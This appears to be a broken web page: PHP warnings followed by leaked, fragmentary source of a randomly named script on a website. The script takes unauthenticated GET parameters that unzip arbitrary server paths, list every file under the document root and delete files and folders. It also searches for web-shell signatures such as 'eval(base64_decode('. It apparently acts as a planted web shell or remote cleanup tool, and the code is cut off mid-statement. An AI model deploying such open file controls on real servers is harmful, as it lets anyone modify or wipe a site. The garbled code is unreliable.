Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 425
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 426
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 427
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 428
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 429
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 430
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 431
Warning: Cannot modify header information - headers already sent by (output started at /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php:80) in /home/qooetu/dataaccess.qooetu.com/Xblmdw1fQ9L.php on line 432 ';
foreach ($arr_files as $key)
{
$key_e = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $key);
echo $key_e.';'.filesize($key)." \n";
}
echo '';
exit;
}
?>
>";
foreach ($all_for_del as $each)
{
$each = strstr($each, '/');
$each = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
$each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
if (file_exists($each))
{
del_file($each);
if (!file_exists($each))
echo $each_for_echo." - removed"."\n";
else
echo $each_for_echo." - not removed"."\n";
}
else
echo $each_for_echo." - not found"."\n";
}
echo "<>";
exit;
}
function unzip_file($file)
{
$for_del = strrchr($file, '/');
$folder_to_save = str_replace($for_del, '', $file);
//set_time_limit(0);
$zip = new ZipArchive;
$zip->open($file);
$zip->extractTo($folder_to_save);
$zip->close();
echo "
File: $for_del - unzip successfully
";
}
function read_file($file_name)
{
$list = $file_name;
if (file_exists($file_name) and (filesize($file_name)>1))
{
$file = fopen($list,"rt");
$arr_file = explode("\n",fread($file,filesize($list)));
fclose($file);
return $arr_file;
}
else
{
$arr_file = array();
return $arr_file;
}
}
function clear_folder($dir)
{
$d=opendir($dir);
while(($entry=readdir($d))!==false)
{
if ($entry != "." && $entry != "..")
{
if (is_dir($dir."/".$entry))
{
clear_folder($dir."/".$entry);
}
else
{
unlink ($dir."/".$entry);
}
}
}
closedir($d);
rmdir ($dir);
}
function only_read($file_name)
{
if (file_exists($file_name) and (filesize($file_name)>1))
{
if (!$file = fopen($file_name,"rt"))
{
if (!chmod($file_name, 0775))
{
echo 'can\'t permission for chmod file ';
$original_file = '';
}
else // чмоднули, пробуем еще раз открыть файл
{
if (!$file = fopen($file_name,"rt")) //
{
echo 'can\'t permission for open file ';
$original_file = '';
}
else
{
$original_file = fread($file,filesize($file_name));
fclose($file);
}
}
}
else
{
$original_file = fread($file,filesize($file_name));
fclose($file);
}
}
return $original_file;
}
function findshells($start)
{
global $arr_filename;
$files = array();
if (!$handle = opendir($start))
chmod($start, 0755);
$handle = opendir($start);
while(($file=readdir($handle))!==false)
{
if ($file!="." && $file !="..")
{
$startfile = $start."/".$file;
if (is_dir($startfile))
findshells($startfile);
else
{
$result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']);
if ($result == false)
$arr_filename[] = $startfile;
}
}
}
closedir($handle);
return $arr_filename;
}
if (isset ($_GET['unzip']))
{
unzip_file($_GET['unzip']);
}
if (isset ($_GET['finder']))
{
$domain = $_SERVER['SERVER_NAME'];
$script_path = $_SERVER['SCRIPT_NAME'];
$finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt";
$good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";;
$search_str = 'eval(base64_decode(';
$search_str2 = 'Array(base64_decode(';
$search_str3 = '@$isbot';
$search_str4 = '@require';
$search_str5 = 'eval(gzuncompress(base64_decode(';
$search_str6 = '@include "\x2';
$search_str7 = '$OO';
$search_str8 = 'cache=00';
$search_str9 = 'file_get_contents(\"../index.php\")"';
$search_str10 = 'is_uploaded_file';
$search_str11 = 'base64_decode($_POST';
$search_str12 = 'multipart/form-data';
if (!file_exists($finderdata_path))
{
$arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']);
$f = fopen ($finderdata_path, "a");
foreach ($arr_php_file as $each)
{
if ($each !== $_SERVER['SCRIPT_FILENAME'])
fwrite($f, $each."\n");
}
fclose($f);
if (file_exists($finderdata_path))
{
$redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
$redirect = 'http://'.$redirect.'?finder';;
?>
0)
echo count($all_path)." files for check ";
else
echo '
Finish!
';
$for_check = read_file($finderdata_path);
if (file_exists($finderdata_path) and (filesize($finderdata_path)>1))
{
$redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
$redirect = 'http://'.$redirect.'?finder';;
?>